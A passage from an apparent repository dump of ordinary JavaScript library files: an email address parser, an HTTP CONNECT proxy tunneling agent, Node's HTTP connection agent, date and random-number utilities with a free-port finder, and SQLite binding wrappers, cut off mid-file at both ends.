suspenderStack[suspenderStack.length - 1]; 233 | } 234 | 235 | function clearActiveSuspender() { 236 | suspenderStack.pop(); 237 | } 238 | 239 | function isGeneratorFunction(v) { 240 | return v && v.constructor && v.constructor.name === 'GeneratorFunction'; 241 | } -------------------------------------------------------------------------------- /addressparser.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | 4 | module.exports = addressparser; 5 | 6 | 7 | function addressparser(str) { 8 | var tokenizer = new Tokenizer(str), 9 | tokens = tokenizer.tokenize(); 10 | 11 | var addresses = [], 12 | address = [], 13 | parsedAddresses = []; 14 | 15 | tokens.forEach(function(token) { 16 | if (token.type === 'operator' && (token.value === ',' || token.value === ';')) { 17 | if (address.length) { 18 | addresses.push(address); 19 | } 20 | address = []; 21 | } else { 22 | address.push(token); 23 | } 24 | }); 25 | 26 | if (address.length) { 27 | addresses.push(address); 28 | } 29 | 30 | addresses.forEach(function(address) { 31 | address = _handleAddress(address); 32 | if (address.length) { 33 | parsedAddresses = parsedAddresses.concat(address); 34 | } 35 | }); 36 | 37 | return parsedAddresses; 38 | } 39 | 40 | 41 | function _handleAddress(tokens) { 42 | var token, 43 | isGroup = false, 44 | state = 'text', 45 | address, 46 | addresses = [], 47 | data = { 48 | address: [], 49 | comment: [], 50 | group: [], 51 | text: [] 52 | }, 53 | i, len; 54 | 55 | 56 | for (i = 0, len = tokens.length; i < len; i++) { 57 | token = tokens[i]; 58 | 59 | if (token.type === 'operator') { 60 | switch (token.value) { 61 | case '<': 62 | state = 'address'; 63 | break; 64 | case '(': 65 | state = 'comment'; 66 | break; 67 | case ':': 68 | state = 'group'; 69 | isGroup = true; 70 | break; 71 | default: 72 | state = 'text'; 73 | } 74 | } else { 75 | if (token.value) { 76 | data[state].push(token.value); 77 | } 78 | } 79 | } 80 | 81 | 82 | if (!data.text.length && data.comment.length) { 83 | data.text = data.comment; 84 | data.comment = []; 85 | } 86 | 87 | if (isGroup) { 88 | 89 | data.text = data.text.join(' '); 90 | addresses.push({ 91 | name: data.text || (address && address.name), 92 | group: data.group.length ? addressparser(data.group.join(',')) : [] 93 | }); 94 | } else { 95 | 96 | if (!data.address.length && data.text.length) { 97 | for (i = data.text.length - 1; i >= 0; i--) { 98 | if (data.text[i].match(/^[^@\s]+@[^@\s]+$/)) { 99 | data.address = data.text.splice(i, 1); 100 | break; 101 | } 102 | } 103 | 104 | var _regexHandler = function(address) { 105 | if (!data.address.length) { 106 | data.address = [address.trim()]; 107 | return ' '; 108 | } else { 109 | return address; 110 | } 111 | }; 112 | 113 | 114 | if (!data.address.length) { 115 | for (i = data.text.length - 1; i >= 0; i--) { 116 | data.text[i] = data.text[i].replace(/\s*\b[^@\s]+@[^@\s]+\b\s*/, _regexHandler).trim(); 117 | if (data.address.length) { 118 | break; 119 | } 120 | } 121 | } 122 | } 123 | 124 | 125 | if (!data.text.length && data.comment.length) { 126 | data.text = data.comment; 127 | data.comment = []; 128 | } 129 | 130 | 131 | if (data.address.length > 1) { 132 | data.text = data.text.concat(data.address.splice(1)); 133 | } 134 | 135 | 136 | data.text = data.text.join(' '); 137 | data.address = data.address.join(' '); 138 | 139 | if (!data.address && isGroup) { 140 | return []; 141 | } else { 142 | address = { 143 | address: data.address || data.text || '', 144 | name: data.text || data.address || '' 145 | }; 146 | 147 | if (address.address === address.name) { 148 | if ((address.address || '').match(/@/)) { 149 | address.name = ''; 150 | } else { 151 | address.address = ''; 152 | } 153 | 154 | } 155 | 156 | addresses.push(address); 157 | } 158 | } 159 | 160 | return addresses; 161 | } 162 | 163 | 164 | function Tokenizer(str) { 165 | this.str = (str || '').toString(); 166 | this.operatorCurrent = ''; 167 | this.operatorExpecting = ''; 168 | this.node = null; 169 | this.escaped = false; 170 | 171 | this.list = []; 172 | } 173 | 174 | 175 | Tokenizer.prototype.operators = { 176 | '"': '"', 177 | '(': ')', 178 | '<': '>', 179 | ',': '', 180 | ':': ';', 181 | 182 | 183 | 184 | 185 | 186 | 187 | ';': '' 188 | }; 189 | 190 | 191 | Tokenizer.prototype.tokenize = function() { 192 | var chr, list = []; 193 | for (var i = 0, len = this.str.length; i < len; i++) { 194 | chr = this.str.charAt(i); 195 | this.checkChar(chr); 196 | } 197 | 198 | this.list.forEach(function(node) { 199 | node.value = (node.value || '').toString().trim(); 200 | if (node.value) { 201 | list.push(node); 202 | } 203 | }); 204 | 205 | return list; 206 | }; 207 | 208 | 209 | Tokenizer.prototype.checkChar = function(chr) { 210 | if ((chr in this.operators || chr === '\\') && this.escaped) { 211 | this.escaped = false; 212 | } else if (this.operatorExpecting && chr === this.operatorExpecting) { 213 | this.node = { 214 | type: 'operator', 215 | value: chr 216 | }; 217 | this.list.push(this.node); 218 | this.node = null; 219 | this.operatorExpecting = ''; 220 | this.escaped = false; 221 | return; 222 | } else if (!this.operatorExpecting && chr in this.operators) { 223 | this.node = { 224 | type: 'operator', 225 | value: chr 226 | }; 227 | this.list.push(this.node); 228 | this.node = null; 229 | this.operatorExpecting = this.operators[chr]; 230 | this.escaped = false; 231 | return; 232 | } 233 | 234 | if (!this.escaped && chr === '\\') { 235 | this.escaped = true; 236 | return; 237 | } 238 | 239 | if (!this.node) { 240 | this.node = { 241 | type: 'text', 242 | value: '' 243 | }; 244 | this.list.push(this.node); 245 | } 246 | 247 | if (this.escaped && chr !== '\\') { 248 | this.node.value += '\\'; 249 | } 250 | 251 | this.node.value += chr; 252 | this.escaped = false; 253 | }; -------------------------------------------------------------------------------- /tunnel.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var net = require('net'); 4 | var tls = require('tls'); 5 | var http = require('http'); 6 | var https = require('https'); 7 | var events = require('events'); 8 | var assert = require('assert'); 9 | var util = require('util'); 10 | 11 | 12 | exports.httpOverHttp = httpOverHttp; 13 | exports.httpsOverHttp = httpsOverHttp; 14 | exports.httpOverHttps = httpOverHttps; 15 | exports.httpsOverHttps = httpsOverHttps; 16 | 17 | 18 | function httpOverHttp(options) { 19 | var agent = new TunnelingAgent(options); 20 | agent.request = http.request; 21 | return agent; 22 | } 23 | 24 | function httpsOverHttp(options) { 25 | var agent = new TunnelingAgent(options); 26 | agent.request = http.request; 27 | agent.createSocket = createSecureSocket; 28 | return agent; 29 | } 30 | 31 | function httpOverHttps(options) { 32 | var agent = new TunnelingAgent(options); 33 | agent.request = https.request; 34 | return agent; 35 | } 36 | 37 | function httpsOverHttps(options) { 38 | var agent = new TunnelingAgent(options); 39 | agent.request = https.request; 40 | agent.createSocket = createSecureSocket; 41 | return agent; 42 | } 43 | 44 | 45 | function TunnelingAgent(options) { 46 | var self = this; 47 | self.options = options || {}; 48 | self.proxyOptions = self.options.proxy || {}; 49 | self.maxSockets = self.options.maxSockets || http.Agent.defaultMaxSockets; 50 | self.requests = []; 51 | self.sockets = []; 52 | 53 | self.on('free', function onFree(socket, host, port, localAddress) { 54 | var options = toOptions(host, port, localAddress); 55 | for (var i = 0, len = self.requests.length; i < len; ++i) { 56 | var pending = self.requests[i]; 57 | if (pending.host === options.host && pending.port === options.port) { 58 | 59 | 60 | self.requests.splice(i, 1); 61 | pending.request.onSocket(socket); 62 | return; 63 | } 64 | } 65 | socket.destroy(); 66 | self.removeSocket(socket); 67 | }); 68 | } 69 | util.inherits(TunnelingAgent, events.EventEmitter); 70 | 71 | TunnelingAgent.prototype.addRequest = function addRequest(req, host, port, localAddress) { 72 | var self = this; 73 | var options = mergeOptions({request: req}, self.options, toOptions(host, port, localAddress)); 74 | 75 | if (self.sockets.length >= this.maxSockets) { 76 | 77 | self.requests.push(options); 78 | return; 79 | } 80 | 81 | 82 | self.createSocket(options, function(socket) { 83 | socket.on('free', onFree); 84 | socket.on('close', onCloseOrRemove); 85 | socket.on('agentRemove', onCloseOrRemove); 86 | req.onSocket(socket); 87 | 88 | function onFree() { 89 | self.emit('free', socket, options); 90 | } 91 | 92 | function onCloseOrRemove(err) { 93 | self.removeSocket(socket); 94 | socket.removeListener('free', onFree); 95 | socket.removeListener('close', onCloseOrRemove); 96 | socket.removeListener('agentRemove', onCloseOrRemove); 97 | } 98 | }); 99 | }; 100 | 101 | TunnelingAgent.prototype.createSocket = function createSocket(options, cb) { 102 | var self = this; 103 | var placeholder = {}; 104 | self.sockets.push(placeholder); 105 | 106 | var connectOptions = mergeOptions({}, self.proxyOptions, { 107 | method: 'CONNECT', 108 | path: options.host + ':' + options.port, 109 | agent: false 110 | }); 111 | if (connectOptions.proxyAuth) { 112 | connectOptions.headers = connectOptions.headers || {}; 113 | connectOptions.headers['Proxy-Authorization'] = 'Basic ' + 114 | new Buffer(connectOptions.proxyAuth).toString('base64'); 115 | } 116 | 117 | var connectReq = self.request(connectOptions); 118 | connectReq.useChunkedEncodingByDefault = false; 119 | connectReq.once('response', onResponse); 120 | connectReq.once('upgrade', onUpgrade); 121 | connectReq.once('connect', onConnect); 122 | connectReq.once('error', onError); 123 | connectReq.end(); 124 | 125 | function onResponse(res) { 126 | 127 | res.upgrade = true; 128 | } 129 | 130 | function onUpgrade(res, socket, head) { 131 | 132 | process.nextTick(function() { 133 | onConnect(res, socket, head); 134 | }); 135 | } 136 | 137 | function onConnect(res, socket, head) { 138 | connectReq.removeAllListeners(); 139 | socket.removeAllListeners(); 140 | 141 | if (res.statusCode === 200) { 142 | assert.equal(head.length, 0); 143 | self.sockets[self.sockets.indexOf(placeholder)] = socket; 144 | cb(socket); 145 | } else { 146 | var error = new Error('tunneling socket could not be established, ' + 147 | 'sutatusCode=' + res.statusCode); 148 | error.code = 'ECONNRESET'; 149 | options.request.emit('error', error); 150 | self.removeSocket(placeholder); 151 | } 152 | } 153 | 154 | function onError(cause) { 155 | connectReq.removeAllListeners(); 156 | var error = new Error('tunneling socket could not be established, ' + 157 | 'cause=' + cause.message); 158 | error.code = 'ECONNRESET'; 159 | options.request.emit('error', error); 160 | self.removeSocket(placeholder); 161 | } 162 | }; 163 | 164 | TunnelingAgent.prototype.removeSocket = function removeSocket(socket) { 165 | var pos = this.sockets.indexOf(socket) 166 | if (pos === -1) { 167 | return; 168 | } 169 | this.sockets.splice(pos, 1); 170 | 171 | var pending = this.requests.shift(); 172 | if (pending) { 173 | 174 | 175 | this.createSocket(pending, function(socket) { 176 | pending.request.onSocket(socket); 177 | }); 178 | } 179 | }; 180 | 181 | function createSecureSocket(options, cb) { 182 | var self = this; 183 | TunnelingAgent.prototype.createSocket.call(self, options, function(socket) { 184 | var hostHeader = options.request.getHeader('host'); 185 | var tlsOptions = mergeOptions({}, self.options, { 186 | socket: socket, 187 | servername: hostHeader ? hostHeader.replace(/:.*$/, '') : options.host 188 | }); 189 | 190 | 191 | var secureSocket = tls.connect(0, tlsOptions); 192 | self.sockets[self.sockets.indexOf(socket)] = secureSocket; 193 | cb(secureSocket); 194 | }); 195 | } 196 | 197 | 198 | function toOptions(host, port, localAddress) { 199 | if (typeof host === 'string') { 200 | return { 201 | host: host, 202 | port: port, 203 | localAddress: localAddress 204 | }; 205 | } 206 | return host; 207 | } 208 | 209 | function mergeOptions(target) { 210 | for (var i = 1, len = arguments.length; i < len; ++i) { 211 | var overrides = arguments[i]; 212 | if (typeof overrides === 'object') { 213 | var keys = Object.keys(overrides); 214 | for (var j = 0, keyLen = keys.length; j < keyLen; ++j) { 215 | var k = keys[j]; 216 | if (overrides[k] !== undefined) { 217 | target[k] = overrides[k]; 218 | } 219 | } 220 | } 221 | } 222 | return target; 223 | } -------------------------------------------------------------------------------- /_http_agent.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var net = require('net'); 23 | var util = require('util'); 24 | var EventEmitter = require('events').EventEmitter; 25 | var debug = util.debuglog('http'); 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | function Agent(options) { 40 | if (!(this instanceof Agent)) 41 | return new Agent(options); 42 | 43 | EventEmitter.call(this); 44 | 45 | var self = this; 46 | 47 | self.defaultPort = 80; 48 | self.protocol = 'http:'; 49 | 50 | self.options = util._extend({}, options); 51 | 52 | 53 | self.options.path = null; 54 | self.requests = {}; 55 | self.sockets = {}; 56 | self.freeSockets = {}; 57 | self.keepAliveMsecs = self.options.keepAliveMsecs || 1000; 58 | self.keepAlive = self.options.keepAlive || false; 59 | self.maxSockets = self.options.maxSockets || Agent.defaultMaxSockets; 60 | self.maxFreeSockets = self.options.maxFreeSockets || 256; 61 | 62 | self.on('free', function(socket, options) { 63 | var name = self.getName(options); 64 | debug('agent.on(free)', name); 65 | 66 | if (!socket.destroyed && 67 | self.requests[name] && self.requests[name].length) { 68 | self.requests[name].shift().onSocket(socket); 69 | if (self.requests[name].length === 0) { 70 | 71 | delete self.requests[name]; 72 | } 73 | } else { 74 | 75 | 76 | var req = socket._httpMessage; 77 | if (req && 78 | req.shouldKeepAlive && 79 | !socket.destroyed && 80 | self.options.keepAlive) { 81 | var freeSockets = self.freeSockets[name]; 82 | var freeLen = freeSockets ? freeSockets.length : 0; 83 | var count = freeLen; 84 | if (self.sockets[name]) 85 | count += self.sockets[name].length; 86 | 87 | if (count >= self.maxSockets || freeLen >= self.maxFreeSockets) { 88 | self.removeSocket(socket, options); 89 | socket.destroy(); 90 | } else { 91 | freeSockets = freeSockets || []; 92 | self.freeSockets[name] = freeSockets; 93 | socket.setKeepAlive(true, self.keepAliveMsecs); 94 | socket.unref(); 95 | socket._httpMessage = null; 96 | self.removeSocket(socket, options); 97 | freeSockets.push(socket); 98 | } 99 | } else { 100 | self.removeSocket(socket, options); 101 | socket.destroy(); 102 | } 103 | } 104 | }); 105 | } 106 | 107 | util.inherits(Agent, EventEmitter); 108 | exports.Agent = Agent; 109 | 110 | Agent.defaultMaxSockets = Infinity; 111 | 112 | Agent.prototype.createConnection = net.createConnection; 113 | 114 | 115 | Agent.prototype.getName = function(options) { 116 | var name = ''; 117 | 118 | if (options.host) 119 | name += options.host; 120 | else 121 | name += 'localhost'; 122 | 123 | name += ':'; 124 | if (options.port) 125 | name += options.port; 126 | name += ':'; 127 | if (options.localAddress) 128 | name += options.localAddress; 129 | name += ':'; 130 | return name; 131 | }; 132 | 133 | Agent.prototype.addRequest = function(req, options) { 134 | 135 | if (typeof options === 'string') { 136 | options = { 137 | host: options, 138 | port: arguments[2], 139 | path: arguments[3] 140 | }; 141 | } 142 | 143 | var name = this.getName(options); 144 | if (!this.sockets[name]) { 145 | this.sockets[name] = []; 146 | } 147 | 148 | var freeLen = this.freeSockets[name] ? this.freeSockets[name].length : 0; 149 | var sockLen = freeLen + this.sockets[name].length; 150 | 151 | if (freeLen) { 152 | 153 | var socket = this.freeSockets[name].shift(); 154 | debug('have free socket'); 155 | 156 | 157 | if (!this.freeSockets[name].length) 158 | delete this.freeSockets[name]; 159 | 160 | socket.ref(); 161 | req.onSocket(socket); 162 | this.sockets[name].push(socket); 163 | } else if (sockLen < this.maxSockets) { 164 | debug('call onSocket', sockLen, freeLen); 165 | 166 | req.onSocket(this.createSocket(req, options)); 167 | } else { 168 | debug('wait for socket'); 169 | 170 | if (!this.requests[name]) { 171 | this.requests[name] = []; 172 | } 173 | this.requests[name].push(req); 174 | } 175 | }; 176 | 177 | Agent.prototype.createSocket = function(req, options) { 178 | var self = this; 179 | options = util._extend({}, options); 180 | options = util._extend(options, self.options); 181 | 182 | options.servername = options.host; 183 | if (req) { 184 | var hostHeader = req.getHeader('host'); 185 | if (hostHeader) { 186 | options.servername = hostHeader.replace(/:.*$/, ''); 187 | } 188 | } 189 | 190 | var name = self.getName(options); 191 | 192 | debug('createConnection', name, options); 193 | options.encoding = null; 194 | var s = self.createConnection(options); 195 | if (!self.sockets[name]) { 196 | self.sockets[name] = []; 197 | } 198 | this.sockets[name].push(s); 199 | debug('sockets', name, this.sockets[name].length); 200 | 201 | function onFree() { 202 | self.emit('free', s, options); 203 | } 204 | s.on('free', onFree); 205 | 206 | function onClose(err) { 207 | debug('CLIENT socket onClose'); 208 | 209 | 210 | 211 | self.removeSocket(s, options); 212 | } 213 | s.on('close', onClose); 214 | 215 | function onRemove() { 216 | 217 | 218 | 219 | debug('CLIENT socket onRemove'); 220 | self.removeSocket(s, options); 221 | s.removeListener('close', onClose); 222 | s.removeListener('free', onFree); 223 | s.removeListener('agentRemove', onRemove); 224 | } 225 | s.on('agentRemove', onRemove); 226 | return s; 227 | }; 228 | 229 | Agent.prototype.removeSocket = function(s, options) { 230 | var name = this.getName(options); 231 | debug('removeSocket', name, 'destroyed:', s.destroyed); 232 | var sets = [this.sockets]; 233 | 234 | 235 | if (s.destroyed) 236 | sets.push(this.freeSockets); 237 | 238 | for (var sk = 0; sk < sets.length; sk++) { 239 | var sockets = sets[sk]; 240 | 241 | if (sockets[name]) { 242 | var index = sockets[name].indexOf(s); 243 | if (index !== -1) { 244 | sockets[name].splice(index, 1); 245 | 246 | if (sockets[name].length === 0) 247 | delete sockets[name]; 248 | } 249 | } 250 | } 251 | 252 | if (this.requests[name] && this.requests[name].length) { 253 | debug('removeSocket, have a request, make a socket'); 254 | var req = this.requests[name][0]; 255 | 256 | this.createSocket(req, options).emit('free'); 257 | } 258 | }; 259 | 260 | Agent.prototype.destroy = function() { 261 | var sets = [this.freeSockets, this.sockets]; 262 | for (var s = 0; s < sets.length; s++) { 263 | var set = sets[s]; 264 | var keys = Object.keys(set); 265 | for (var v = 0; v < keys.length; v++) { 266 | var setName = set[keys[v]]; 267 | for (var n = 0; n < setName.length; n++) { 268 | setName[n].destroy(); 269 | } 270 | } 271 | } 272 | }; 273 | 274 | exports.globalAgent = new Agent(); 275 | -------------------------------------------------------------------------------- /utils.js: -------------------------------------------------------------------------------- 1 | var net = require('net'); 2 | 3 | var MersenneTwister = function (seed) { 4 | if (seed == undefined) { 5 | seed = new Date().getTime(); 6 | } 7 | 8 | this.N = 624; 9 | this.M = 397; 10 | this.MATRIX_A = 0x9908b0df; 11 | this.UPPER_MASK = 0x80000000; 12 | this.LOWER_MASK = 0x7fffffff; 13 | 14 | this.mt = new Array(this.N); 15 | this.mti = this.N + 1; 16 | 17 | this.init_genrand(seed); 18 | } 19 | 20 | 21 | MersenneTwister.prototype.init_genrand = function (s) { 22 | this.mt[0] = s >>> 0; 23 | for (this.mti = 1; this.mti < this.N; this.mti++) { 24 | var s = this.mt[this.mti - 1] ^ (this.mt[this.mti - 1] >>> 30); 25 | this.mt[this.mti] = (((((s & 0xffff0000) >>> 16) * 1812433253) << 16) + (s & 0x0000ffff) * 1812433253) 26 | + this.mti; 27 | this.mt[this.mti] >>>= 0; 28 | } 29 | } 30 | 31 | MersenneTwister.prototype.init_by_array = function (init_key, key_length) { 32 | var i, j, k; 33 | this.init_genrand(19650218); 34 | i = 1; j = 0; 35 | k = (this.N > key_length ? this.N : key_length); 36 | for (; k; k--) { 37 | var s = this.mt[i - 1] ^ (this.mt[i - 1] >>> 30) 38 | this.mt[i] = (this.mt[i] ^ (((((s & 0xffff0000) >>> 16) * 1664525) << 16) + ((s & 0x0000ffff) * 1664525))) 39 | + init_key[j] + j; 40 | this.mt[i] >>>= 0; 41 | i++; j++; 42 | if (i >= this.N) { this.mt[0] = this.mt[this.N - 1]; i = 1; } 43 | if (j >= key_length) j = 0; 44 | } 45 | for (k = this.N - 1; k; k--) { 46 | var s = this.mt[i - 1] ^ (this.mt[i - 1] >>> 30); 47 | this.mt[i] = (this.mt[i] ^ (((((s & 0xffff0000) >>> 16) * 1566083941) << 16) + (s & 0x0000ffff) * 1566083941)) 48 | - i; 49 | this.mt[i] >>>= 0; 50 | i++; 51 | if (i >= this.N) { this.mt[0] = this.mt[this.N - 1]; i = 1; } 52 | } 53 | 54 | this.mt[0] = 0x80000000; 55 | } 56 | 57 | 58 | MersenneTwister.prototype.genrand_int32 = function () { 59 | var y; 60 | var mag01 = new Array(0x0, this.MATRIX_A); 61 | 62 | 63 | if (this.mti >= this.N) { 64 | var kk; 65 | 66 | if (this.mti == this.N + 1) 67 | this.init_genrand(5489); 68 | 69 | for (kk = 0; kk < this.N - this.M; kk++) { 70 | y = (this.mt[kk] & this.UPPER_MASK) | (this.mt[kk + 1] & this.LOWER_MASK); 71 | this.mt[kk] = this.mt[kk + this.M] ^ (y >>> 1) ^ mag01[y & 0x1]; 72 | } 73 | for (; kk < this.N - 1; kk++) { 74 | y = (this.mt[kk] & this.UPPER_MASK) | (this.mt[kk + 1] & this.LOWER_MASK); 75 | this.mt[kk] = this.mt[kk + (this.M - this.N)] ^ (y >>> 1) ^ mag01[y & 0x1]; 76 | } 77 | y = (this.mt[this.N - 1] & this.UPPER_MASK) | (this.mt[0] & this.LOWER_MASK); 78 | this.mt[this.N - 1] = this.mt[this.M - 1] ^ (y >>> 1) ^ mag01[y & 0x1]; 79 | 80 | this.mti = 0; 81 | } 82 | 83 | y = this.mt[this.mti++]; 84 | 85 | 86 | y ^= (y >>> 11); 87 | y ^= (y << 7) & 0x9d2c5680; 88 | y ^= (y << 15) & 0xefc60000; 89 | y ^= (y >>> 18); 90 | 91 | return y >>> 0; 92 | } 93 | 94 | 95 | MersenneTwister.prototype.genrand_int31 = function () { 96 | return (this.genrand_int32() >>> 1); 97 | } 98 | 99 | 100 | MersenneTwister.prototype.genrand_real1 = function () { 101 | return this.genrand_int32() * (1.0 / 4294967295.0); 102 | /* divided by 2^32-1 */ 103 | } 104 | 105 | /* generates a random number on [0,1)-real-interval */ 106 | MersenneTwister.prototype.random = function () { 107 | return this.genrand_int32() * (1.0 / 4294967296.0); 108 | 109 | } 110 | 111 | 112 | MersenneTwister.prototype.genrand_real3 = function () { 113 | return (this.genrand_int32() + 0.5) * (1.0 / 4294967296.0); 114 | /* divided by 2^32 */ 115 | } 116 | 117 | /* generates a random number on [0,1) with 53-bit resolution*/ 118 | MersenneTwister.prototype.genrand_res53 = function () { 119 | var a = this.genrand_int32() >>> 5, b = this.genrand_int32() >>> 6; 120 | return (a * 67108864.0 + b) * (1.0 / 9007199254740992.0); 121 | } 122 | 123 | 124 | 125 | function normalize(str) { 126 | str = str.toString(); 127 | 128 | if (str.length == 1) 129 | return "0" + str; 130 | else 131 | return str; 132 | } 133 | 134 | function getDateString(date) { 135 | return normalize(date.getDate()) + "." + 136 | normalize(1 + parseInt(date.getMonth())) + "." + 137 | date.getFullYear(); 138 | } 139 | 140 | function getTimeString(date) { 141 | return normalize(date.getHours()) + ":" + 142 | normalize(date.getMinutes()) + ":" + 143 | normalize(date.getSeconds()); 144 | } 145 | 146 | function dateToHumanTime(td) { 147 | try { 148 | var td = new Date(td); 149 | return getDateString(td) + ' ' + getTimeString(td); 150 | } catch (e) { 151 | return 'Invalid Date'; 152 | } 153 | } 154 | 155 | function getCurrentTimstamp() { 156 | return Math.round(+new Date() / 1000); 157 | } 158 | 159 | var exports = { 160 | getCurrentTimstamp: getCurrentTimstamp, 161 | getCurrentDateString : function(){ 162 | return dateToHumanTime(new Date()) 163 | }, 164 | getCurrentDateFilenameString: function () { 165 | return dateToHumanTime(new Date()).replace(/\.|:|\s+/g, '_'); 166 | }, 167 | dateToHumanTime: dateToHumanTime, 168 | getTimeString: getTimeString, 169 | getDateString : getDateString, 170 | MersenneTwister: MersenneTwister, 171 | extend: function extend(dest, source) { 172 | for (var prop in source) { 173 | dest[prop] = source[prop]; 174 | } 175 | } 176 | }; 177 | 178 | 179 | 180 | exports.basePort = 10000; 181 | exports.nextPort = function (port) { 182 | return port + 1; 183 | }; 184 | 185 | exports.getPort = function (options, callback) { 186 | if (!callback) { 187 | callback = options; 188 | options = {}; 189 | } 190 | 191 | options.port = options.port || exports.basePort; 192 | options.host = options.host || null; 193 | options.server = options.server || net.createServer(function () { 194 | // 195 | // Create an empty listener for the port testing server. 196 | // 197 | }); 198 | 199 | function onListen() { 200 | exports.basePort = options.port + 1; 201 | options.server.removeListener('error', onError); 202 | options.server.close(); 203 | callback(null, options.port) 204 | } 205 | 206 | function onError(err) { 207 | options.server.removeListener('listening', onListen); 208 | 209 | if (err.code !== 'EADDRINUSE' && err.code !== 'EACCES') { 210 | return callback(err); 211 | } 212 | 213 | exports.getPort({ 214 | port: exports.nextPort(options.port), 215 | host: options.host, 216 | server: options.server 217 | }, callback); 218 | } 219 | 220 | options.server.once('error', onError); 221 | options.server.once('listening', onListen); 222 | options.server.listen(options.port, options.host); 223 | }; 224 | 225 | module.exports = exports; -------------------------------------------------------------------------------- /sqlite3.js: -------------------------------------------------------------------------------- 1 | var path = require('path'); 2 | var sqlite3 = module.exports = exports = process.binding('sqlite3'); 3 | var EventEmitter = require('events').EventEmitter; 4 | var util = require('util'); 5 | 6 | 7 | 8 | function extendTrace(object, property, pos) { 9 | var old = object[property]; 10 | object[property] = function() { 11 | var error = new Error(); 12 | var name = object.constructor.name + '#' + property + '(' + 13 | Array.prototype.slice.call(arguments).map(function(el) { 14 | return util.inspect(el, false, 0); 15 | }).join(', ') + ')'; 16 | 17 | if (typeof pos === 'undefined') pos = -1; 18 | if (pos < 0) pos += arguments.length; 19 | var cb = arguments[pos]; 20 | if (typeof arguments[pos] === 'function') { 21 | arguments[pos] = function replacement() { 22 | try { 23 | return cb.apply(this, arguments); 24 | } catch (err) { 25 | if (err && err.stack && !err.__augmented) { 26 | err.stack = filter(err).join('\n'); 27 | err.stack += '\n--> in ' + name; 28 | err.stack += '\n' + filter(error).slice(1).join('\n'); 29 | err.__augmented = true; 30 | } 31 | throw err; 32 | } 33 | }; 34 | } 35 | return old.apply(this, arguments); 36 | }; 37 | } 38 | 39 | function filter(error) { 40 | return error.stack.split('\n').filter(function(line) { 41 | return line.indexOf(__filename) < 0; 42 | }); 43 | } 44 | 45 | 46 | function normalizeMethod (fn) { 47 | return function (sql) { 48 | var errBack; 49 | var args = Array.prototype.slice.call(arguments, 1); 50 | if (typeof args[args.length - 1] === 'function') { 51 | var callback = args[args.length - 1]; 52 | errBack = function(err) { 53 | if (err) { 54 | callback(err); 55 | } 56 | }; 57 | } 58 | var statement = new Statement(this, sql, errBack); 59 | return fn.call(this, statement, args); 60 | } 61 | } 62 | 63 | function inherits(target, source) { 64 | for (var k in source.prototype) 65 | target.prototype[k] = source.prototype[k]; 66 | } 67 | 68 | sqlite3.cached = { 69 | Database: function(file, a, b) { 70 | if (file === '' || file === ':memory:') { 71 | 72 | return new Database(file, a, b); 73 | } 74 | 75 | file = path.resolve(file); 76 | 77 | if (!sqlite3.cached.objects[file]) { 78 | var db =sqlite3.cached.objects[file] = new Database(file, a, b); 79 | } 80 | else { 81 | 82 | var db = sqlite3.cached.objects[file]; 83 | var callback = (typeof a === 'number') ? b : a; 84 | if (typeof callback === 'function') { 85 | function cb() { callback.call(db, null); } 86 | if (db.open) process.nextTick(cb); 87 | else db.once('open', cb); 88 | } 89 | } 90 | 91 | return db; 92 | }, 93 | objects: {} 94 | }; 95 | 96 | 97 | var Database = sqlite3.Database; 98 | var Statement = sqlite3.Statement; 99 | 100 | inherits(Database, EventEmitter); 101 | inherits(Statement, EventEmitter); 102 | 103 | 104 | Database.prototype.prepare = normalizeMethod(function(statement, params) { 105 | return params.length 106 | ? statement.bind.apply(statement, params) 107 | : statement; 108 | }); 109 | 110 | 111 | Database.prototype.run = normalizeMethod(function(statement, params) { 112 | statement.run.apply(statement, params).finalize(); 113 | return this; 114 | }); 115 | 116 | 117 | Database.prototype.get = normalizeMethod(function(statement, params) { 118 | statement.get.apply(statement, params).finalize(); 119 | return this; 120 | }); 121 | 122 | 123 | Database.prototype.all = normalizeMethod(function(statement, params) { 124 | statement.all.apply(statement, params).finalize(); 125 | return this; 126 | }); 127 | 128 | 129 | Database.prototype.each = normalizeMethod(function(statement, params) { 130 | statement.each.apply(statement, params).finalize(); 131 | return this; 132 | }); 133 | 134 | Database.prototype.map = normalizeMethod(function(statement, params) { 135 | statement.map.apply(statement, params).finalize(); 136 | return this; 137 | }); 138 | 139 | Statement.prototype.map = function() { 140 | var params = Array.prototype.slice.call(arguments); 141 | var callback = params.pop(); 142 | params.push(function(err, rows) { 143 | if (err) return callback(err); 144 | var result = {}; 145 | if (rows.length) { 146 | var keys = Object.keys(rows[0]), key = keys[0]; 147 | if (keys.length > 2) { 148 | 149 | for (var i = 0; i < rows.length; i++) { 150 | result[rows[i][key]] = rows[i]; 151 | } 152 | } else { 153 | var value = keys[1]; 154 | 155 | for (var i = 0; i < rows.length; i++) { 156 | result[rows[i][key]] = rows[i][value]; 157 | } 158 | } 159 | } 160 | callback(err, result); 161 | }); 162 | return this.all.apply(this, params); 163 | }; 164 | 165 | var isVerbose = false; 166 | 167 | var supportedEvents = [ 'trace', 'profile', 'insert', 'update', 'delete' ]; 168 | 169 | Database.prototype.addListener = Database.prototype.on = function(type) { 170 | var val = EventEmitter.prototype.addListener.apply(this, arguments); 171 | if (supportedEvents.indexOf(type) >= 0) { 172 | this.configure(type, true); 173 | } 174 | return val; 175 | }; 176 | 177 | Database.prototype.removeListener = function(type) { 178 | var val = EventEmitter.prototype.removeListener.apply(this, arguments); 179 | if (supportedEvents.indexOf(type) >= 0 && !this._events[type]) { 180 | this.configure(type, false); 181 | } 182 | return val; 183 | }; 184 | 185 | Database.prototype.removeAllListeners = function(type) { 186 | var val = EventEmitter.prototype.removeAllListeners.apply(this, arguments); 187 | if (supportedEvents.indexOf(type) >= 0) { 188 | this.configure(type, false); 189 | } 190 | return val; 191 | }; 192 | 193 | 194 | sqlite3.verbose = function() { 195 | if (!isVerbose) { 196 | [ 197 | 'prepare', 198 | 'get', 199 | 'run', 200 | 'all', 201 | 'each', 202 | 'map', 203 | 'close', 204 | 'exec' 205 | ].forEach(function (name) { 206 | extendTrace(Database.prototype, name); 207 | }); 208 | [ 209 